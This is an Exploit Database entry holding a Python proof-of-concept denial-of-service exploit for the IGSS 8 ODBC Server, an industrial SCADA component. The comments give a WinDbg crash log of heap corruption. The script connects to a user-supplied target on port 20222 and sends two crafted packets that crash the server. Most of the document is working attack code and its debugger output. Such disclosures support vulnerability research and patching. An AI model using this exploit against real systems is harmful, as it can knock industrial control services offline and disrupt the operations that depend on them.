IGSS 8 ODBC Server – Multiple Remote Uninitialized Pointer Free Denial of Service Vulnerabilities

Exploit Database
111 阅读

作者： Jeremy Brown

日期： 2011-03-23
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/17033/

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#!/usr/bin/python

# igss.py

# IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS

# Jeremy Brown / jbrown at patchtuesday dot org

# Mar 2011

# There are multiple remote uninitialized pointer free conditions in IGSS's ODBC

# server. By sending a specially crafted packet to listening port 20222, it is

# possible to crash the server. Execution of arbitrary code is unlikely.

# Note: IGSS uses a 3rd party ODBC driver kit from Dr. DeeBee.

# HEAP[Odbcixv8se.exe]: Invalid allocation size - 8899AABB (exceeded 7ffdefff)

# HEAP[Odbcixv8se.exe]: Invalid Address specified to RtlGetUserInfoHeap( 00150000, 00175008 )

# (f10.cf8): Break instruction exception - code 80000003 (first chance)

# eax=00175000 ebx=00175000 ecx=7c91ead5 edx=0102fc55 esi=00150000 edi=00175008

# eip=7c90120e esp=0102fe58 ebp=0102fe5c iopl=0 nv up ei pl nz na po nc

# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202

# ntdll!DbgBreakPoint:

# 7c90120e ccint 3

# 0:002> g

# HEAP[Odbcixv8se.exe]: Invalid Address specified to RtlGetUserInfoHeap( 00150000, 00175008 )

# (f10.cf8): Break instruction exception - code 80000003 (first chance)

# eax=00175000 ebx=00175000 ecx=7c91ead5 edx=0102fc55 esi=00150000 edi=00175008

# eip=7c90120e esp=0102fe58 ebp=0102fe5c iopl=0 nv up ei pl nz na po nc

# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202

# ntdll!DbgBreakPoint:

# 7c90120e ccint 3

# 0:002> g

# Heap corruption detected at 00175008

# Heap corruption detected at 00177F78

# Heap corruption detected at 001733D8

# (f10.cf8): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00173398 ebx=00000000 ecx=feeefeee edx=001733d8 esi=00173390 edi=00150000

# eip=7c9276fc esp=0102fc34 ebp=0102fd08 iopl=0 nv up ei pl zr na pe nc

# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010246

# ntdll!RtlFreeHeapSlowly+0x392:

# 7c9276fc 8901mov dword ptr [ecx],eaxds:0023:feeefeee=????????

# 0:002> kb

# ChildEBP RetAddrArgs to Child

# 0102fd08 7c96f85a 00150000 50000061 00173398 ntdll!RtlFreeHeapSlowly+0x392

# 0102fd7c 7c94bc4c 00150000 50000061 00173398 ntdll!RtlDebugFreeHeap+0x193

# 0102fe64 7c927573 00150000 40000061 00173398 ntdll!RtlFreeHeapSlowly+0x37

# 0102ff34 7c80fd4f 00150000 00000001 00173398 ntdll!RtlFreeHeap+0xf9

# *** ERROR: Module load completed but symbols could not be loaded for Odbcixv8se.exe

# 0102ff7c 0044531d 00aa001c 0102ffb4 00443abd kernel32!GlobalFree+0xb5

# WARNING: Stack unwind information not available. Following frames may be wrong.

# 0102ff88 00443abd 00173398 00000014 00000016 Odbcixv8se+0x4531d

# 0102ffb4 7c80b729 00000710 00000000 00000000 Odbcixv8se+0x43abd

# 0102ffec 00000000 004436f0 00000710 00000000 kernel32!BaseThreadStart+0x37

# feeefeee = freed memory

# RtlFreeHeap() takes three arguments:

# HeapHandle --> 0x173398

# Flags--> 0x00000001

# HeapBase --> 0x173398

# HeapBase is the pointer to the memory block that is going to be freed.

# 0:002> dd 173398

# 00173398001733d8 -----------------------------

# 001733a8feeefeee feeefeee feeefeee feeefeee-

# 001733b8feeefeee feeefeee feeefeee feeefeee-

# 001733c8feeefeee feeefeee feeefeee feeefeee-

# 001733d8feeefeee feeefeee feeefeee feeefeee <-

# 001733e8feeefeee feeefeee feeefeee feeefeee

# 001733f8feeefeee feeefeee feeefeee feeefeee

# 00173408feeefeee feeefeee feeefeee feeefeee

# In this example, the pointer to free happens to point to free memory.

# Tested IGSS 8 (Odbcixv8se.exe version 10299) on Windows

# Fixed version: IGSS 8 (Odbcixv8se.exe version 11003)

# http://www.syware.com/download/drdeebee/gold_bug.txt

import sys

import socket

req_1=(

"\x00\x00\x00\x34"

"\x02\x00\x00\x00\x02\x00\x00\x00\x02\x2e\x00\x00\x00\x00\x19\x49"

"\x47\x53\x53\x33\x32\x76\x38\x20\x4f\x44\x42\x43\x20\x4e\x65\x74"

"\x77\x6f\x72\x6b\x20\x44\x53\x00\x00\x00\x00\x02\x20\x00\x00\x00"

"\x00\x02\x20\x00"

)

req_2=(

"\x00\x00\x00\xff"+# length

"\x16"+# switch code

"\x77" * 254+# begin query here

"\x88\x99\xaa\xbb" # test

)

if len(sys.argv)!=2:

print "Usage: %s <target>" % sys.argv[0]

sys.exit(0)

target=sys.argv[1]

port=20222

cs=target,port

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect(cs)

sock.settimeout(1)

sock.send(req_1)

try:

resp=sock.recv(1024)

print "resp_1 = %s\n"%resp.encode("hex")

except: pass

sock.send(req_2)

try:

resp=sock.recv(1024)

print "resp_2 = %s\n"%resp.encode("hex")

except: pass

sock.close()